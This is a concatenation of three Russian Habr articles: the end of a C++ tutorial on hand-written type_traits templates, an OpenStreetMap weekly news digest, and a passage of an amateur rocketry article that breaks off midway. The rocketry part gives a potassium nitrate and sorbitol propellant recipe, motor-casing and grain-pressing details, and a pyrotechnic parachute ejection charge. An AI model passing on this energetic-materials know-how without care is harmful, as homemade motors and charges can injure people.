А для реализации *is\_member\_function\_pointer* все еще проще:
```
// is_member_function_pointer
template
struct is\_member\_function\_pointer :
public detail::\_is\_mem\_function\_ptr\_helper::type>::type
{ };
```
Далее на основе этих шаблонов мы можем определить является ли тип впринципе членом класса:
```
namespace detail
{
template
struct \_is\_member\_object\_pointer\_impl1 :
public \_not\_< \_or\_<\_is\_function\_ptr\_helper<\_Tp>, \_is\_mem\_function\_ptr\_helper<\_Tp> > >::type
{ };
template
struct \_is\_member\_object\_pointer\_impl2 :
public false\_type { };
template
struct \_is\_member\_object\_pointer\_impl2<\_Tp \_Cp::\*> :
public true\_type { };
template
struct \_is\_member\_object\_pointer\_helper:
public \_and\_<\_is\_member\_object\_pointer\_impl1<\_Tp>, \_is\_member\_object\_pointer\_impl2<\_Tp> >::type
{};
}
// is\_member\_object\_pointer
template
struct is\_member\_object\_pointer :
public detail::\_is\_member\_object\_pointer\_helper::type>::type
{ };
```
**Использованные 'и', 'или', 'не' логические операции над типами из первой части**
```
namespace detail
{
struct void_type {};
//typedef void void_type;
template
struct \_or\_ :
public conditional<\_B1::value, \_B1, \_or\_<\_B2, \_or\_<\_B3, \_B4> > >::type
{ };
template<>
struct \_or\_;
template
struct \_or\_<\_B1, void\_type, void\_type, void\_type> :
public \_B1
{ };
template
struct \_or\_<\_B1, \_B2, void\_type, void\_type> :
public conditional<\_B1::value, \_B1, \_B2>::type
{ };
template
struct \_or\_<\_B1, \_B2, \_B3, void\_type> :
public conditional<\_B1::value, \_B1, \_or\_<\_B2, \_B3> >::type
{ };
template
struct \_and\_;
template<>
struct \_and\_;
template
struct \_and\_<\_B1, void\_type, void\_type, void\_type> :
public \_B1
{ };
template
struct \_and\_<\_B1, \_B2, void\_type, void\_type> :
public conditional<\_B1::value, \_B2, \_B1>::type
{ };
template
struct \_and\_<\_B1, \_B2, \_B3, void\_type> :
public conditional<\_B1::value, \_and\_<\_B2, \_B3>, \_B1>::type
{ };
template
struct \_not\_
{
static const bool value = !bool(\_Pp::value);
typedef const bool value\_type;
typedef integral\_constant type;
operator value\_type() const
{ // return stored value
return (value);
}
value\_type operator()() const
{ // return stored value
return (value);
}
};
}
```
Здесь использованы логические операции над типами, которые с помощью шаблона *conditional* в итоге выбирают подходящий шаблонный тип. Шаблонное программирование во всей его красе, в итоге на этапе компиляции мы имеем уже информацию о том является ли тип членом класса. Довольно «зубодробительно», но зато как эффектно и эффективно!
Еще немного чистого шаблонного программирования на этих же логических элементах и у нас есть *is\_fundamental*, *is\_compound* и т.п. признаки (меня это приводит в восторг, а вас?):
```
// is_arithmetic
template
struct is\_arithmetic :
public detail::\_or\_, is\_floating\_point<\_Tp> >::type
{ };
// is\_fundamental
template
struct is\_fundamental :
public detail::\_or\_, is\_void<\_Tp>, is\_null\_pointer<\_Tp> >::type
{};
// is\_object
template
struct is\_object :
public detail::\_not\_< detail::\_or\_< is\_function<\_Tp>, is\_reference<\_Tp>, is\_void<\_Tp> > >::type
{};
// is\_scalar
template
struct is\_scalar :
public detail::\_or\_, is\_pointer<\_Tp>, is\_member\_pointer<\_Tp>, is\_null\_pointer<\_Tp>/\*, is\_enum<\_Tp>\*/ >::type
{};
// is\_compound
template
struct is\_compound:
public detail::\_not\_ >::type
{ };
```
> Внимательный читатель заметит что определение *is\_enum* закомментировано. Дело в том что способов отличить **enum** от других типов я не нашел, но считаю что это реализуемо без применения компиляторозависимых макросов. Возможно внимательный и сведущий читатель подскажет свой способ или ход мыслей на этот счет.
Для определения того факта что тип является классом теперь необходимо всего ничего:
```
namespace detail
{
template
struct \_is\_class\_helper
{
typedef integral\_constant type;
};
template
struct \_is\_class\_helper<\_Tp, false>
{
typedef integral\_constant::value == bool(false))
//&& !is\_union<\_Tp>::value >::value
&& (is\_array<\_Tp>::value == bool(false))
&& (is\_void<\_Tp>::value == bool(false))
&& (is\_function<\_Tp>::value == bool(false))> type;
};
}
// is\_class
template
struct is\_class :
public detail::\_is\_class\_helper::type, is\_reference<\_Tp>::value>::type
{ };
```
И все бы хорошо, но **union** в C++ отличить от класса в общем случае не представляется возможным. Потому что они очень похожи по своим «внешним проявлениям», а отличия (к примеру невозможность наследования от **union**) проверить без ошибок компиляции у меня не получилось. Возможно кто-то подскажет хитрый маневр для определения **union** при компиляции, тогда *is\_class* будет в точности соответствовать стандарту.
В [заключительной части](https://habr.com/post/420365/) данной главы я расскажу о том как был реализован *std::decay* и *std::common\_type*, а так же что еще предстоит добавить в **type\_traits**.
Благодарю за внимание. | https://habr.com/ru/post/418347/ | null | ru | null |
# Новости из мира OpenStreetMap № 487 (12.11.2019-18.11.2019)
Участники конференции State of the Map Азия 2019 – Дакка, Бангладеш [1](#wn484_21194) | NN
Картографирование
-----------------
* [Началось](https://lists.openstreetmap.org/pipermail/tagging/2019-November/049310.html) голосование за [схему тегирования](https://wiki.openstreetmap.org/wiki/Proposed_features/Pedestrian_lane) пользователя SelfishSeahorse, который предложил отмечать в OSM полосы на дорогах, специально отведенные для пешеходов.
* [Началось](https://lists.openstreetmap.org/pipermail/tagging/2019-November/049260.html) голосование за тег [`footway=access_aisle`](https://wiki.openstreetmap.org/wiki/Proposed_features/access_aisle), которым пользователь Клиффорд Сноу предлагает отмечать пешеходные дорожки на парковках.
* Предложение пользователя SelfishSeahorse использовать тег [`footway=link`](https://wiki.openstreetmap.org/wiki/Proposed_features/Tag:footway%3Dlink) для обозначения соединения лестниц или тротуаров с дорогами получило статус «предложен».
* Пользователь Эрик Тейз разработал [схему](https://wiki.openstreetmap.org/wiki/Proposed_features/Mimics) тегирования, с помощью которой можно будет обозначать телекоммуникационные мачты и башни, замаскированные под что-то другое. Он [предлагает](https://lists.openstreetmap.org/pipermail/tagging/2019-November/049261.html) использовать уточняющий ключ `mimics=*` со значением того типа объекта, под который маскируется мачта.
* Strava [разрешила](https://lists.openstreetmap.org/pipermail/talk/2019-November/083564.html) уточнять OSM по своей [тепловой карте](https://www.strava.com/heatmap), которая основана на пользовательских GPS-треках. Как [отмечают](https://www.theverge.com/2017/5/2/15511118/strava-fitness-tracking-app-athlete-posts-social-network) представители Strava, пользователи загружают более 8 млн треков в неделю.
* Напомним, что не так давно была утверждена [схема](https://wiki.openstreetmap.org/wiki/Proposed_features/Utility_markers_proposal) тегирования табличек и опознавательных знаков коммунальной инфраструктуры. Предполагается, что теперь все подобные объекты будут отмечаться ключом `marker`, в том числе, например, и `pipeline=marker`. Однако не все довольны устаревшими тегами, которые сейчас широко используются.
Сообщество
----------
* Михаэль Райхерт [опубликовал](https://forum.openstreetmap.org/viewtopic.php?id=67975) [проект](https://wiki.openstreetmap.org/wiki/User:Nakaner/Forderungen_zur_Zukunft_von_iD) открытого обращения немецкого сообщества OSM в адрес разработчиков онлайн-редактора iD по ряду проблемных вопросов. Его можно обсудить на немецком форуме или в [списке](https://lists.openstreetmap.org/pipermail/talk-de/2019-November/116538.html) рассылки Talk-de.
* OpenStreetMap [сообщила](https://twitter.com/openstreetmap/status/1193898187087663105) в Твиттере, что учителя из ряда европейских городов собрались в Саарбурге (Германия) для прохождения тренинга по гуманитарному картографированию и участия в хакатоне, чтобы дать старт двухлетнему проекту Erasmus+.
* Проект MilpaDigital посвятил свой [14-ый](https://milpadigital.org/milpadigital-14/)  информационный бюллетень OpenStreetMap.
* На Хабре вышло [интервью](https://habr.com/ru/post/475876/) со старожилом российского сообщества OSM — пользователем Zkir. Не так давно он создал YouTube-канал "[OpenStreetMap и не только](https://www.youtube.com/channel/UCHHuUXecuq2ni-8n8JeyYZg)", на котором публикует видеообзоры различных сервисов и приложений, связанных с OSM: [Sight Safari](https://www.youtube.com/watch?v=V5A90RWIBg8), [OsmBuildings](https://www.youtube.com/watch?v=LdV5oui77e4) и пр.
* С помощью сервиса "[OSM Community index](https://github.com/osmlab/osm-community-index)" вы может не только узнать обо всех каналах связи внутри проекта OSM, но и добавить новый, если такого там еще нет. Более того, этот список теперь [визуализирован](https://openstreetmap.community/) в виде карты.
Импорты
-------
* Генри Буш [планирует](https://wiki.openstreetmap.org/wiki/User:Spookypeanut/SSSIBot) выполнить импорт [участков особого научного значения](https://en.wikipedia.org/wiki/Site_of_Special_Scientific_Interest) (охраняемый законом памятник природы в Великобритании), а потому уже начал [обсуждать](https://lists.openstreetmap.org/pipermail/talk-gb/2019-November/023817.html) этот вопрос в списке рассылки.
OpenStreetMap Foundation
------------------------
* Майкл Коллинсон [опубликовал](https://lists.openstreetmap.org/pipermail/osmf-talk/2019-November/006399.html) официальные [вопросы](https://wiki.openstreetmap.org/wiki/Talk:Foundation/AGM19/Election_to_Board) к кандидатам на предстоящих [выборах](https://wiki.openstreetmap.org/wiki/Foundation/AGM19/Election_to_Board) в Совет Фонда OSM.
* На GitHub пользователь Ян Дис [предлагает](https://github.com/openstreetmap/operations/issues/342) использовать для тайл-серверов OSM API-ключи, а также предлагает код, написанный им самим. Насколько известно, им движет желание перезагрузить кеш тайлов тех регионов, на которые у OSMF не хватает машинного времени. Том Хьюз, один из системных администраторов, указывает, что данный код не подходит для структуры серверов OSMF, в которой более 40 кеш-серверов.
События
-------
* Марсель Рейнмут из исследовательской группы GiScience Гейдельбергского университета 28 ноября [выступил](http://k1z.blog.uni-heidelberg.de/2019/11/19/marcel-reinmuth-talk-about-internship-at-humanitarian-openstreetmap-team-uganda/) с докладом о своей стажировке в команде HOT в Уганде.
* [Опубликованы](https://openstreetmap.cz/sotm/2019) презентации и видео с конференции State of the Map CZ+SK 2019 в Брно.
* Пользователь Yeni IRM-RV [опубликовала](https://www.openstreetmap.org/user/Yeni%20IRM-RV/diary/391195) свои впечатления о конференции State of the Map Азия 2019, которая проходила в городе Дакка (Бангладеш).
Гуманитарный OSM
----------------
* Феликс Делаттре [сообщил](https://lists.openstreetmap.org/pipermail/hot/2019-November/015044.html), что в настоящее время Менеджер задач HOT нестабилен по причине технического обслуживания. Эта проблема возникла в самое неподходящее для этого время — во время конференции [GeoWeek](https://osmgeoweek.org/), на которой запланировано несколько картатонов. В настоящее время [сервис](https://lists.openstreetmap.org/pipermail/hot/2019-November/015047.html) работает..
Лицензии
--------
* Facebook [выложил](https://github.com/facebookmicrosites/Open-Mapping-At-Facebook/wiki/Available-Countries) наборы данных с дорогами, которые были обнаружены его системой машинного обучения и данных OSM, под лицензией MIT. Если быть точнее, речь идет о тех дорогах, которых нет в OSM. Рори МакКэнн [спрашивает](https://lists.openstreetmap.org/pipermail/talk/2019-November/083533.html) в списке рассылки: подпадают ли эти записи под действие положений лицензии ODbL о совместном использовании.
Программное обеспечение
-----------------------
* Проект [Jungle Bus](https://wiki.openstreetmap.org/wiki/Jungle_Bus) сообщил о выходе нового веб-редактора [Busy Hours](https://github.com/Jungle-Bus/Busy-Hours/blob/master/README.md), с помощью которого можно редактировать расписание движения транспорта. Он позволяет задавать часы работы, время пиковой и непиковой нагрузок, а также частоту обслуживания в это время. Приложение использует [схему тегирования](https://wiki.openstreetmap.org/wiki/Proposed_features/Public_transport_schedules/Interval), которая была утверждена в декабре прошлого года. В настоящий момент идет его перевод на разные языки! [Присоединяйтесь](https://www.transifex.com/jungle-bus/busy-hours/dashboard/)! Нужна помощь.
* Мобильное приложение для построения лыжных маршрутов [Ski Nav](https://ski-nav-app.com) доступно, как для [iOS](https://apps.apple.com/app/id1485113759), так и для [Android](https://play.google.com/store/apps/details?id=ski.nav.piste.plan). Помимо этого есть и демонстрационная [веб-версия](https://ski-nav-app.com/demo). Пользователь jancellor рассказал о том, как происходит обработка и комбинирование данных из OSM с информацией NASA о высотах, что позволяет создавать 3D-карты горнолыжных трасс с перспективой, аналогичной официальной бумажной карте.
* RustProof Labs — IT-компания из Колорадо — [опубликовала](https://github.com/rustprooflabs/pgosm) свой инструмент PgOSM на GitHub под лицензией MIT, который значительно упрощает получение открытых пространственных данных, предоставляя простой способ выгузки pbf-файлов в PostGIS.
* Инга Пёттинг [проанализировала](https://mobilsicher.de/ratgeber/navi-apps-im-check-magic-earth-unser-favorit) навигационное приложение [Magic Earth](https://wiki.openstreetmap.org/wiki/Magic_Earth) на предмет соблюдения неприкосновенности частной жизни пользователя. Поскольку General Magic прилагает огромные усилия для соблюдения конфиденциальности своих пользователей, Magic Earth рекомендовано к использованию.
* Российский программист Максим Илюкович разработал мобильное приложение [Wander](https://play.google.com/store/apps/details?id=ru.travelpath) (пока только для Android), которое умеет строить интересные туристические маршруты по Санкт-Петербургу (Россия). В его основе данные из OSM. Также он подробно [рассказал](https://habr.com/ru/post/471216/), как работал над приложением.
Программирование
----------------
* На Хабре вышла [статья](https://habr.com/ru/post/467043/) пользователя provotor, который поделился своим опытом импорта данных из OSM.
Релизы
------
* Спустя три года вышла новая версия [Merkaartor](https://github.com/openstreetmap/merkaartor/releases/tag/0.18.4). По факту ничего нового нет, лишь исправлены имеющиеся ошибки. Но работа над обновлением ведется. Спасибо [Краконош](https://github.com/Krakonos)!
* Вышла [новая версия](https://osmand.net/blog/osmand-3-5-released) навигационного приложения OSMAnd v.3.5 для Android. Обновлены настройки профиля, диалоговые окна загрузки карт, а также теперь на базовой карте детальнее отображается дорожная сеть. Теперь приложение может пригодится и тем, кто планирует кататься зимой на лыжах — оно научилось строить лыжные маршруты.
* Некоммерческая организация Missing Maps [выпустила](https://www.youtube.com/watch?v=-C2ycpdDpOo) видеоролик, в котором рекомендует использовать приложение [KoBo](https://kobo.humanitarianresponse.info) для картографирования территории своего проживания. В видео также есть ссылка на краткую [инструкцию](https://drive.google.com/drive/u/0/folders/1OvDmJor0h5S63rlk8PUBHESqbc0IELch).
Знаете ли вы …
--------------
* … что можете увидеть в онлайн-редакторе iD те объекты, которые были распознаны Mapillary на панорамах улиц? Новый слой [доступен](https://twitter.com/mapillary/status/1194799297969016832) в iD во вкладке «Данные карты».
* … про сайт [MyWay](http://myway.io), который позволяет найти удобный выход из метро в Москве? Сервис разработан российской компанией NextGIS.
* … про различные [валидаторы](https://osm.cupivan.ru/) российского пользователя Cupivan? Среди прочих есть валидатор опасных мест, подъездов и вертолетных площадок.
* … о [валидаторе](http://wowik.byethost7.com/) Wowik'a? С его помощью можно обнаружить недостающие дороги или места (адреса) в ряде стран, не только России или соседних с ней стран, но также и в [Германии](http://wowik.byethost7.com/routes/ch/9.htm) и [Непале](http://wowik.byethost7.com/routes/np/). Кроме того, внутри него есть инструмент, который может пригодиться для разрезания выгрузок из OSM на более мелкие фрагменты.
OSM в СМИ
---------
* В преддверии конференции SoTM LATAM 2019 некоммерческая организация TEDIС, которая [продвигает](https://www.tedic.org/openstreetmap-y-la-representacion-del-espacio/) opensource-проекты, выпустила статью о OpenStreetMap и влиянии картографирования на восприятие нами окружающего нас пространства.
Другие «гео» события
--------------------
* Дэн Куксон [использовал](https://twitter.com/danc00ks0n/status/1195288008041418752) открытые данные о почтовых индексах Великобритании за последние 10 лет, чтобы сделать анимацию, которая показывает появление новых почтовых индексов. Можно увидеть, где появляются новые жилые комплексы.
* Хоакин Бельтран [опубликовал](https://twitter.com/kimus_93/status/1194343256114360321) в Твиттере анимацию, которая демонстрирует изменения на театре боевых действий с момента высадки в Нормандии в 1944 году до Дня Победы в мае 1945 года.
* 17-ая конференция [ISCRAM](https://www.drrm.fralin.vt.edu/iscram2020/index.php) (Международная конференция по информационным системам для кризисного реагирования и управления) пройдет в технологическом университете Вирджинии в городе Блэксбурге, штат Вирджиния с 24 по 27 мая 2020 года. До 6 декабря 2019 года идет прием докладов.
* Мост [Хай Мозель](https://en.wikipedia.org/wiki/High_Moselle_Bridge), в прошлом крупнейший проект строительства моста в Европе и второй по величине мост в Германии, наконец-то, спустя 8 лет построен и [открыт](https://www.dw.com/en/germanys-second-highest-traffic-bridge-opens/a-51355455) для движения транспорта. Тысячи горожан отпраздновали это событие на высоте 160 м над долиной Мозеля. Благодаря этому мосту создано прямое сообщение между регионом Рейн-Майн и странами Бенилюкса. Конечно, [OSM](https://www.openstreetmap.org/way/486718632#map=15/49.9640/7.0084) один из [первых](https://forum.openstreetmap.org/viewtopic.php?id=68058) картографических сервисов, в котором уже есть этот новый маршрут и мост.
* Университет Свинберна (Австралия) [опубликовал](http://www.swinburne.edu.au/news/latest-news/2019/11/the-impact-of-landmark-images-in-mobile-mapping-apps.php) статью об исследовании, в рамках которого изучался вопрос о том, помогает ли быстрее находить путь фотографии достопримечательностей, размещенные в мобильных навигационных приложениях. Оказалось, что такие снимки в определенной степени могут компенсировать низкие пространственные знания пользователей мобильных карт по сравнению с бумажными картами.
* QuoVadis [выпустила](https://quovadis-gps.com/QuoVadis-X_1) новую версию своего продукта — QuoVadis X (QVX). QVX-это инструмент для планирования маршрута, с помощью которого можно создавать и управлять маршрутами, предназначенными для загрузки в ваш GPS-навигатор.
* Сиаран Стаунтон нашел архивный телевизионный [ролик](https://www.rte.ie/archives/collections/news/21195569-new-ireland-road-atlas/) 1985 года, в котором показываются ранние этапы компьютеризации картографии в Ирландии.
* Джо Моррисон [считает](https://medium.com/@joemorrison/why-hasnt-open-source-software-disrupted-esri-a55896dd6f58), что зрелые ГИС-проекты с открытым исходным кодом не угрожают бизнесу ESRI, и детально раскрывает свою точку зрения в статье на medium.com.
* На сайте StrelkaMag опубликована интерактивная карта "[Истории московского жилья](https://strelkamag.com/ru/article/moscow-housing-map)".
* Год назад Яндекс [запустил](https://yandex.ru/blog/company/fotoputeshestviya-na-yandeks-kartakh) сервис аналогичный Mapillary — сбор панорамных снимков от пользователей (в основном с авторегистраторов). Сейчас эти снимки доступны на сервисе Яндекс.Карты в разделе «Зеркала».
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [486](https://habr.com/ru/post/477166/), [485](https://habr.com/ru/post/476060/), [484](https://habr.com/ru/post/475200/), [483](https://habr.com/ru/post/473888/), [482](https://habr.com/ru/post/473512/) | https://habr.com/ru/post/478196/ | null | ru | null |
# Большая Карамельная Ракета
Всем привет! Меня зовут Илья. И у меня есть хобби - это любительское ракетостроение. Точнее даже, скажем так, карамельное ракетостроение. За то время, что я занимаюсь темой, я успел набить себе немало шишек, во многом действуя по наитию и ставя различные, часто неудачные, эксперименты. Возможно, кто-то скажет, что я криворук и это не моё, что нужно срочно учить матчасть, что всё придумано до меня. И, пожалуй я соглашусь. Но, на мой взгляд, в любительском ракетостроении, как хобби, важен сам процесс инженерных поисков. Решение возникающих проблем и, конечно, создание себе новых. Наверное было бы проще взять уже готовую модель, заправить её готовым двигателем и…Но если бы действительно этим путём пользовались все, то наверное не было бы и развития.
Ракетостроение, даже не ракетомоделизм из кружков ([Model Rocketry](https://en.wikipedia.org/wiki/Model_rocket) или [High Power Rocketry](https://en.wikipedia.org/wiki/High-power_rocketry)), пожалуй отличное хобби для технаря, и, конечно айтишника. Даже сам [Джон Кармак](https://en.wikipedia.org/wiki/John_Carmack) (один из создателей Doom, кто не знает) в детстве занимался ракетостроением, что уже после id Software переросло в свою ракетную компанию Armadillo Aerospace.
И таких, как он и я, к счастью не единицы. Хотя и совсем немного по земному шару. Наверное это из-за трудоёмкости, спектра проблем из разных научных областей. У той же Амперки в серии «[Ракета против Лёхи](https://habr.com/ru/company/amperka/blog/509510/)» по официальной версии всё закончилось как раз из-за отсутствия возможности столько вкладывать ресурсов. Потому что процесс создания любой ракеты - это череда неудач, начала сызнова и итеративное приближение к цели. И к новой. И к ещё одной.
Для меня увлечение ракетами началось с [ролика Побединского](https://www.youtube.com/watch?v=RyLcVhxlhVo). Сама простота и дешевизна такой «ракетой техники» меня подкупила и я решил воспроизвести этот эксперимент. Собственно тогда родилась цель - сделать такую ракету, которая бы взлетела метров на 300-400, ну, до полкилометра, и спокойно бы вернулась обратно на парашюте. С полезной нагрузкой: скажем, с небольшим бортовым компьютером и камерой. Всё тогда казалось просто, если бы не нюансы, коих было… много…
Конструкция ракеты
------------------
Конструкции большинства ракет в основном схожи между собой. Они удовлетворяют в большинстве случаев, так скажем, идеальной "[эмпирической ракете](http://kia-soft.narod.ru/interests/rockets/theory/empiric/er.htm)":
* длина ракеты полная: L= 15~25 D
* длина головного обтекателя: Ln = 2.5~3.5\*D
* размах стабилизатора: S = 1~2\*D
* общая площадь стабилизаторов: F= 0,7~0,8\*A,где A=L\*D - площадь продольного сечения корпуса,
* запас устойчивости: k = 1,5~3\*D
"Эмпирическая ракета" RockiВ зависимости от поставленных целей и используемых компонентов параметры ракеты могут варьироваться, конечно же, но почти всегда укладываются в вышеобозначенные границы.
В моём случае размер ракеты будет определяться исходя из размеров двигателя, парашюта и электроники. Чтобы уместить всё в корпусе ракеты я использую трубу диаметром в 50мм. Трубу можно сделать, в идеале, из стеклопластика, а можно взять ПП канализационную трубу - она сравнительно прочная и лёгкая. Головной обтекатель также делается из этой же трубы - вырезается "[корона](http://serge77-rocketry.net/nosecone/nosecone.htm)" (длиной в 2-3 диаметра ракеты) и склеивается вместе, образуя параболическую форму. Хотя, конечно есть и другие варианты - выточить обтекатель из деревянной заготовки на токарном станке или распечатать его на 3D-принтере. Обтекатель должен быть максимально правильной формы, гладким - это необходимо для снижения аэродинамического сопротивления ракеты и снижения вредных срывных течений в носовой части ракеты.
Стабилизаторы стоит изготавливать из достаточно лёгкого, но прочного материала. Например пластика, фанеры или бальзы. Форма и размер стабилизаторов зависят от размеров ракеты, а если быть точным, то от расположения центра тяжести ракеты и центра давления.
Модель устойчивости ракетыRocki об устойчивости ракетыРакета никогда не летит прямо, а все время поворачивается от направления полета то в одну, то в другую сторону, т.е. рыскает. На ракету набегает встречный поток воздуха, направление которого строго противоположно направлению полета. Получается, что ракета все время поворачивается боком к набегающему потоку на некоторый угол. В аэродинамике такой угол называется углом атаки. Мы уже установили, что ракета, как любое твердое тело, поворачивается относительно ЦТ, но результирующая сила давления воздуха приложена совсем к другой точке, т.е. к ЦД. Если ракета имеет симметричную форму относительно оси, то ЦД потока воздуха расположен на оси ракеты. Если ЦД расположен ближе к хвосту ракеты, то давление воздуха стремится вернуть ракету навстречу набегающему потоку, т.е. на траекторию. Ракета будет устойчива. Тут вполне допустима аналогия с флюгером. Если ракету насадить на стержень, проходящий поперек оси ракеты через ЦТ и вынести её на улицу, где сильный ветер, то устойчивая ракета повернется навстречу ветру. Из этих же соображений делается простейшая проверка ракеты на устойчивость с помощью веревки: привязываем веревку к ракете в месте расположения центра тяжести и начинаем вращать ракету вокруг себя. Если ракета при вращении ориентируется строго по направлению движения, то она аэродинамически устойчива, если ракету крутит в разные стороны или она летит хвостом вперед, то ракета неустойчива.
Проверка стабильности ракеты - просто раскручиваем ракету над головойЦентр тяжести ракеты определяется простым методом "взвешивания". Положив ракету на руку, нужно найти точку, в которой достигается равновесие.
Центр давления рассчитывается используя метод определения [центра давления по Борроумену](http://www.rocketmime.com/rockets/Barrowman.html). К слову сказать, есть и другой, хотя и куда менее точный способ определения центра давления - [метод аэродинамической проекции](http://serge77-rocketry.net/rs7/rs7.htm). В любом случае, какой бы мы метод не использовали, чтобы ракета была устойчивой, расстояние между центром тяжести и центром давления должно составлять хотя бы 1,5 диаметра самой ракеты. Эта, так называемая "устойчивость в диаметрах" может быть и выше, хотя устойчивость больше 2-2,5 диаметров не рекомендуется, так как в этом случае стабилизаторы будут больше, а значит тяжелее. Кроме того, большая площадь стабилизаторов приведёт к тому, что ракета будет испытывать большие боковые нагрузки, что приведёт к тому, что она будет, как флюгер разворачиваться по ветру и лететь не вверх, а вбок; в худшем случае - [флаттер](https://ru.wikipedia.org/wiki/%D0%A4%D0%BB%D0%B0%D1%82%D1%82%D0%B5%D1%80_(%D0%B0%D0%B2%D0%B8%D0%B0%D1%86%D0%B8%D1%8F)) приведёт к разрушению ракеты в полёте. Подробно об устойчивости можно почитать [здесь](http://kia-soft.narod.ru/interests/rockets/theory/stability/stability.htm).
Интерфейс Rocki-design и модель будущей ракетыЕсть готовые программные решения для расчёта параметров ракеты. Я использую [Rocki-design](http://kia-soft.narod.ru/soft/rpro/rdl/rdl.rar), но чаще, тем более в англоязычном мире используют [OpenRocket](https://openrocket.info/). Подобрав нужный размер стабилизаторов, вырезаем их из заготовки и прикручиваем винтами к корпусу, используя металлические уголки. Крепление должно быть жёстким. Для лёгких ракет сгодится и просто приклеивание, но для тяжелой ракеты лучше перестраховаться.
Система спасения
----------------
Система спасения - одна из самых сложных в ракете. Она включает в себя парашют, крепление к корпусу, а также механизм выброса парашюта. Она в обязательном порядке порядке должна быть проверена не один раз на земле. Я использую пиротехнический вариант выброса парашюта (мортирка), инициируемый бортовым компьютером. Хотя встречаются и другие решения - механические и пневматические, или вовсе инерционные. Пиротехническая система одна из самых популярных и простых, содержит минимум компонентов.
Заготовка для мортиркиСам парашют - это [купол диаметром в 70 сантиметров](http://serge77-rocketry.net/rs6/rs6.htm), сшитый из прочной и лёгкой ткани (рип-стоп). Можно [рассчитать точно](http://kia-soft.narod.ru/soft/rpro/axsp/ALTIMMEX-SP.rar) необходимую площадь парашюта для плавного спуска в зависимости от массы ракеты. Хотя, из практики, парашют лучше делать меньше диаметром - это увеличит скорость падения ракеты, конечно, но ракету будет меньше сдувать ветром, и поэтому меньше шансов намотать километры от места запуска до места падения.
Вырезаем парашютНе менее важно обеспечить крепление системы спасения ракеты с корпусом. Обычно в корпус устанавливаются силовые болты, к которым привязывается силовой трос (фал), соединяющийся со стропами парашюта. Фал пропускается через пыж - лёгкий цилиндр, который впритирку устанавливается ко внутреннему диаметру ракеты - он необходим для выброса парашюта, работая как поршень, приводимый в движение газами из мортирки.
Конструкция крепления системы спасенияГоловной обтекатель также подвязывается к фалу.
В сборе внутренние компоненты ракеты ракеты занимают весь внутренний объем.
Модель ракеты со всеми компонентамиДвигатель
---------
В отличие от ракетомоделизма, в любительском, "карамельном" ракетостроении используются собственно изготовленные двигатели. Ракетные двигатели - это долгий и обширный разговор, который можно растянуть на не одну статью. Если рассказывать очень кратко, то в любительском ракетостроении в большинстве случаев используются твердотопливные двигатели, которые по конструкции очень схожи с двигателями настоящих твердотопливных ракет.
Отличие состоит в материалах из которых изготовлен двигатель и в используемом топливе. Чаще всего для изготовления двигателей используется бумага, пластик или композит (стеклоровинг). В моём случае - пластик (полипропиленовая армированная труба в 40мм внешним диаметром). В качестве топлива используется смесь из калиевой селитры и сахара\сорбита в пропорции 65\35. Собственно при плавлении такой смеси образуется сладкая масса (несъедобная!), похожая на карамель, откуда и происходит название "карамельное топливо".
> C6H14O6 + 3.345 KNO3 -> 1.870 CO2 + 2.490 CO + 4.828 H2O + 2.145 H2 + 1.672 N2 + 1.644 K2CO3 + 0.057 KOH
>
>
Топливо запресовывается в так называемые "топливные шашки" - цилиндры с отверстием. Размер шашек подбирается таким образом, чтобы во время работы двигателя топливо успевало выгореть равномерно во всех направлениях (в направлении от внутреннего канала к краю). [Оптимальной длиной](http://kia-soft.narod.ru/interests/rockets/theory/grain/grain.htm) шашки внешним диаметром D и внутренним диаметром d является длина L=1.67D. Шашки в обязательном порядке запрессовываются\оборачиваются в так называемую "бронировку" - внешнюю негорючую оболочку шашки. Бронировка препятствует горению шашки по внешней поверхности, что недопустимо. Слишком большая площадь горения топлива может привести к разрушению двигателя.
Топливные шашкиИз шашек формируется сборка двигателя с единым топливным каналом. При этом шашки укладываются в теплоизоляционную (негорючую) трубку из тефлона\бумаги, пропитанной силикатным клеем. Теплоизоляция нужна для того, чтобы не допустить разрушения двигателя из-за температуры (фронта горения и горячих газов) при горении топлива.
Схема двигателяКарамельное топливо горит сравнительно медленно, поэтому для создания тяги зажигание двигателя производится в дальней точке канала (противоположного от сопла). Немаловажными параметрами двигателя, кроме тяги, является критика сопла и рабочее давление. Чем больше давление в двигателе - тем больше тяга. Чем больше давление - тем выше скорость горения топлива. Настоящим вызовом в создании двигателя является задача создания такого решения, которое при минимальной массе корпуса будет держать максимальное давление и содержать наибольшее количество топлива.
График тягиГрафик давленияДля расчёта двигателя используются расчёты на основе [закона горения](http://kia-soft.narod.ru/interests/rockets/theory/burnlow/burnlow.htm). Безусловно, есть [готовые решения](http://kia-soft.narod.ru/soft/rpro/rms/rms.rar) для расчёта параметров двигателя.
Кроме того, обязательно проводятся стендовые испытания движков. Это позволяет отработать надёжность двигателя на земле, а также снять реальные показания тяги двигателя (которые могут отличаться от расчётных).
Кластерный двигатель на тяго-измерительном стендеЭлектроника
-----------
В качестве бортового компьютера я использую собственную схему, в основе которой находится Arduino Nano.
Схема полётного компьютераКомпоненты:
* Барометр BMP180
* Гироскоп-акселерометр MPU6050
* Пищалка
* microSD модуль
* Реле\MOSFET для активации запала мортирки
* 2 шт. 18650 аккумуляторов
* LM7805 для понижения напряжения для контроллера
* Мини-тумблер для включения компьютера
* Разъем JST-2P для соединения с запалом мортирки
При запуске компьютера инициализируются все датчики и модули, записывается текущая высота, подаётся звуковой сигнал перехода в режим ожидания старта. Моментом старта считается случай изменения высоты на пороговое значение (например 5 метров).
```
if (delta_altitude > max_delta)
{
// старт
}
```
В момент старта фиксируется (записывается время), далее на карту начинают записываться данные с датчиков. В процессе полёта отслеживается апогей - записывается текущая высота, если она меньше предыдущей. Если текущая высота падает на пороговое значение, то зажигаем вышибной заряд.
```
if (altitude > max_altitude)
{
max_altitude = altitude;
}
// Check for apogee, do not allow to release chute while too close to ground or while engine still working
if ((max_altitude - altitude) > max_delta and ignited == false and ((millis() - start_time) > apogee_delay))
{
ignite();
}
```
Момент приземления не вычисляется, просто считаем, что через две минуты ракета должна сесть на землю. Через две минуты останавливается запись на карту и начинается подача звуковых сигналов для облегчения поиска ракеты.
